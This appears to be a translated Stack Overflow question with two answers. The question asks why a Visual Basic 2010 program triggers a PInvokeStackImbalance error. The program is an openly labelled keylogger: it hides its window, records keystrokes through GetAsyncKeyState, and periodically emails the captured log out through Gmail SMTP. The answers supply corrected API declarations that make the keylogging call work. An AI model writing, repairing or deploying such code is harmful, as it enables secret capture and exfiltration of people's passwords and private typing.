probleme visual basic 2010:检测到PinVokeStackImbalance?

时间:2015-07-07 18:01:43

标签: visual-studio-2010

Option Strict On
Imports System.Net.Mail
Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
    Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
        Try
            Dim smtpServer As New SmtpClient
            smtpServer.EnableSsl = True
            Dim mail As New MailMessage
            smtpServer.Credentials = New Net.NetworkCredential("my mailadress", "my password")
            smtpServer.Port = 587
            smtpServer.Host = "smtp.gmail.com"
            mail = New MailMessage
            mail.From = New MailAddress("my mailadress")
            mail.To.Add("my mailadress")
            mail.Subject = ("New keylogger logs !")
            mail.Body = txtlogs.Text
            smtpServer.Send(mail)
        Catch ex As Exception
            Me.Close()

        End Try
    End Sub

    Private Sub tmrKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrKeys.Tick
        Dim result As Integer
        Dim key As String
        Dim i As Integer

        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                key = Chr(i)
                If i = 13 Then key = vbNewLine
                Exit For
            End If
        Next i

        If key <> Nothing Then
            If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                txtlogs.Text &= key
            Else
                txtlogs.Text &= key.ToLower
            End If
        End If

        If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "H" Then
            Me.Visible = True
        End If
    End Sub

    Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
        txtlogs.Text &= vbNewLine & "Keylogger stopped at: " & Now & vbNewLine
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.ShowInTaskbar = False
        Me.ShowIcon = False
        Me.Visible = False
        txtlogs.Text = "Keylogger started at: " & Now & vbNewLine

    End Sub
End Class
  

问题:问题在于这个etape:result = 0               result = GetAsyncKeyState(i)

2 个答案:

答案 0 :(得分:1)

你有一个VB6声明。

变化:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer

要:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Short

答案 1 :(得分:1)

这不起作用

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer

但是,这对我自己有用

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short